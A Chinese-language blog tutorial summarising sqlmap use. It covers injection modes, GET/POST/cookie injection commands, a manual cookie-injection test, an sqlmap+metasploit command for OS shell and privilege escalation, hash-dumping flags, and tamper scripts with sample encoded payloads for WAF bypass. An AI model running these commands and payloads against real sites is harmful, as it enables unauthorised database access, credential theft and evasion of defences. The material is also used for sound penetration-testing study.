sqlmap 使用总结

一直在用 sqlmap，一直在浅层的使用方面，所以我想深入了解一下 sqlmap。

> 参考文章：
> Sqlmap 使用教程【个人笔记精华整理】 http://www.vuln.cn/1992
> sqlmap 用户手册详解【实用版】 http://www.vuln.cn/2035
> 如何使用 SQLMap 绕过 WAF 作者: 懒人网安
> https://www.ilrwa.com/guidang/627.html
> 使用 sqlmap 中 tamper 脚本绕过 waf
> http://www.cnblogs.com/studyone/p/5459215.html
> 绕过 WAF 脚本分类整理
> http://blog.csdn.net/hxsstar/article/details/22782627
> SqlMap 用户手册
> https://www.secpulse.com/archives/4213.html

1、 sqlmap 有什么用?

> 当给 sqlmap 这么一个 url (http://127.0.0.1/sqlmap/mysql/get_int.php?id=1) 的时候，它会：
> 1）判断可注入的参数
> 2）判断可以用那种 SQL 注入技术来注入

> 3）识别出哪种数据库
> 4）根据用户选择，读取哪些数据

2、 sqlmap 五种不同的注入模式

> 1）基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
> 2）基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
> 3）基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
> 4）联合查询注入，可以使用 union 的情况下的注入。
> 5）堆查询注入，可以同时执行多条语句的执行时的注入。

3、 最新版的 sqlmap 在哪里下?

https://github.com/sqlmapproject/sqlmap

下载之后用 python 运行就可以了。

当然如果你的电脑安装有 git 命令，就不用每次都重新下载浪费时间，我们可以执行命令进行更新。

```
python sqlmap.py --update
```

4、 -v 参数是干什么用的?

> 如果你想观察 sqlmap 对一个点是进行了怎样的尝试判断以及读取数据的，可以使用 - v 参数。
> 共有七个等级，默认为 1：
> 0）只显示 python 错误以及严重的信息。
> 1）同时显示基本信息和警告信息。（默认）
> 2）同时显示 debug 信息。
> 3）同时显示注入的 payload。 有些测试也是需要高等级才启动的，一般是 3 级或是 3 级以上，例如，cookie 注入，referer 注入等
> 4）同时显示 HTTP 请求。
> 5）同时显示 HTTP 响应头。
> 6）同时显示 HTTP 响应页面。

5、 sqlmap 的使用方法

1. 用 level1 检测数据库类型

```
sqlmap -u http://127.0.0.1/post.php?id=1
```

2. 指定数据库为 mysql，级别为 3（共 5 级，级别越高，检测越全面

```
sqlmap -u "http://127.0.0.1/post.php?id=1"  --dbms mysql --level 3
```

3. 当 get 的数据被过滤时，就要想到 cookie 注入了

```
sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2（只有level达到2才会检测cookie）
```

> 这块我觉得有需要的可以了解一下检验是否存在 cookie 方法。。。因为我就挺想知道的。当然直接命令跑也是可以的，没毛病。
> 1) 寻找形如 “.asp?id=xx” 类的带参数的 URL。
> 2) 去掉 “id=xx” 查看页面显示是否正常，如果不正常，说明参数在数据传递中是直接起作用的。
> 3) 清空浏览器地址栏，输入 “javascript:alert(document.cookie="id="+escape("xx"));” ，按 Enter 键后弹出一个对话框，内容是 “id=xx” ，然后用原来的 URL 刷新页面，如果显示正常，说明应用是用 Request("id") 这种方式获取数据的。
> 4) 重复上面的步骤，将常规 SQL 注入中的判断语句带入上面的 URL：
> “javascript:alert(document.cookie="id="+escape("xx and 1=1"));”
> “javascript:alert(document.cookie="id="+escape("xx and 1=2"));” 。
> 和常规 SQL 注入一样，如果分别返回正常和不正常页面，则说明该应用存在注入漏洞，并可以进行 cookie 注入。
> 5) 使用常规注入语句进行注入即可。

4. 前面走过了，get 和 cookie，还有一种传参的方法是 post。

--data 此参数是把数据以 POST 方式提交，sqlmap 会像检测 GET 参数一样检测 POST 的参数。

```
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
```

5. 上面这种 post 方法比较快捷，还有一种 post 方法有助于绕过前端验证。需要用 burp 或别的抓包工具抓一下，保存到本地加载

```
sqlmap -r "存文件的路径" -p "username"
指定username参数（就是你认为的注入点参数）

此外还有一种自动获取表单的方法
sqlmap -u "http://www.target.com/vuln.php" --form
```

6. 当网站有防火墙，对请求速度做了限制的时候

```
sqlmap -u "http://127.0.0.1/post.php?id=1" --delay=10
--delay=DELAY 在每个HTTP请求之间的延迟时间，单位为秒
```

7. 设置 HTTP User-Agent 头

参数：--user-agent,--random-agent

默认情况下 sqlmap 的 HTTP 请求头中 User-Agent 值是：

```
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
```

可以使用 --user-anget 参数来修改，同时也可以使用 --random-agnet 参数来随机的从./txt/user-agents.txt 中获取。

当 --level 参数设定为 3 或者 3 以上的时候，会尝试对 User-Angent 进行注入。

这里提供几个请求头（如果还需要更多 跳转此处 ）：

> PC 端

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0

手机端
iPhone：
Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/14D27 UCBrowser/11.6.1.1003 Mobile AliApp(TUnionSDK/0.1.20)
Android：
Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
诺基亚 N95：
Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/30.0.015; Profile MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
诺基亚 N97：
Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124

8.sqlmap+metasploit 的打法

```
sqlmap -u "http://127.0.0.1/show.jsp?id=1" --time-sec 5 --random-agent --os-pwn --msf-path /usr/shar
e/metasploit-framework/ --priv-esc -v 1
```

注入成功之后的内容，注入库名，表名，列名等等，就不写了，网上有很多。

5.1 常用参数介绍

1、设定延迟注入的时间

参数：--time-sec

当使用继续时间的盲注时，时刻使用 --time-sec 参数设定延时时间，默认是 5 秒。

2、获取表中数据个数

参数：--count

有时候用户只想获取表中的数据个数而不是具体的内容，那么就可以使用这个参数。

3、当前用户是否为管理用

参数：--is-dba
判断当前的用户是否为管理，是的话会返回 True。

4、列数据库管理用户

参数：--users

当前用户有权限读取包含所有用户的表的权限时，就可以列出所有管理用户。

5、列出并破解数据库用户的 hash

参数：--passwords
当前用户有权限读取包含用户密码的彪的权限时，sqlmap 会现列举出用户，然后列出 hash，并尝试破解。

6、列出数据库管理员权限

参数：--privileges
当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的权限，sqlmap 将会告诉你哪个是数据库的超级管理员。也可以用 - U 参数指定你想看哪个用户的权限。

7、标志

参数：-b,--banner
大多数的数据库系统都有一个函数可以返回数据库的版本号，通常这个函数是 version() 或者变量 @@version 这主要取决与是什么数据库。

8、测试注入类型

参数：--technique

这个参数可以指定 sqlmap 使用的探测技术，默认情况下会测试所有的方式。

支持的探测方式如下：

```
B: Boolean-based blind SQL injection（布尔型注入）
E: Error-based SQL injection（报错型注入）
U: UNION query SQL injection（可联合查询注入）
S: Stacked queries SQL injection（可多语句查询注入）
T: Time-based blind SQL injection（基于时间延迟注入）
```

例如： --technique=T

9、按默认配置

参数：--batch

从不询问用户输入，使用所有默认配置。

10、添加前后缀

参数：--prefix,--suffix
在有些环境中，需要在注入的 payload 的前面或者后面加一些字符，来保证 payload 的正常执行。
例如，代码中是这样调用数据库的：
$query = "SELECT * FROM users WHERE id=(' " . $_GET['id'] . "') LIMIT 0, 1";
这时你就需要 --prefix 和 --suffix 参数了：
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
这样执行的 SQL 语句变成：

$query = "SELECT * FROM users WHERE id=(‘1’) <PAYLOAD> AND
(‘abc’=’abc’) LIMIT 0, 1";

11、检测防火墙

Sqlmap 用来探测 WAF 的命令如下：

```
python sqlmap.py -u “http://www.victim.org/ex.php?id=1” --identify-waf
```

貌似必须是或自己修改的类似动态参数才能使用。

12、设置并发数

当在测试中遇到数据量比较大的时候，可以通过设置高并发数提高注入速度。

--threads=THREADS 最大的 HTTP（S）请求并发量（默认为 1）

以上是比较基本的注入语句，相对于现在的网站来说，就是片刀砍城墙一样。只需要在网页中加一些过滤，对输入的参数做一些限制，便跑不出来。

针对于这种类型的网站，我们可以尝试加入脚本试试。

5.2 使用脚本的方法 --tamper

```
sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” --technique U -p id --batch --tamper
“space2morehash.py”
```

space2morehash.py

--batch 从不询问用户输入，使用所有默认配置。

--technique=TE SQL注入技术测试（默认BEUST）

写一些常用脚本，前面的参考文章里面，有更加详细和全面的介绍。

space2hash.py

应用于 mysql 数据库

绕过过滤 ‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，随机字符串和换行符

* Input: '1 AND 9227=9227'

* Output: '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

space2morehash.py

应用于 mysql 数据库

空格替换为 #号 以及更多随机字符串和换行符

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

实际上上面两个脚本的是相似的，都是把空格替换成随机字符，只是替换方式有差别

space2mysqlblank.py

应用于 mysql 数据库

空格替换其它空白符号

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users

space2mssqlblank.py

应用于 mssql 数据库

空格替换为其它空符号

* Input: SELECT id FROM users

* Output: SELECT%08id%02FROM%0Fusers

charencode.py

url 编码

* Input: SELECT FIELD FROM%20TABLE

* Output:
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

chardoubleencode.py

双 url 编码 (不处理以编码的)

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

下面两个如果 web 应用使用 asp/asp.net 开发

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

有意思的是，asp 允许在字符之间使用多个 % 号间隔，比如 AND 1=%%%%%%%%1 是合法的!

percentage.py

asp 允许每个字符前面添加一个 % 号

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

一些其他的常用脚本

between.py

用 between 替换大于号（>）

* Input: ('1 AND A> B--')

* Output: '1 AND A NOT BETWEEN 0 AND B--'

unmagicquotes.py

宽字符绕过 GPC addslashes

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20

versionedmorekeywords.py

通过注释绕过

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output:
1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,

58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

总结： 以上列举了一部分有代表性的 tamper 脚本来帮助我们绕过 waf，每个脚本都有自己的使用场景，还是需要灵活使用。

但是在很多场景中，通过脚本的使用依然绕不过 waf，这时候有两条路，一条手工去绕（耗时间），一条换换思路。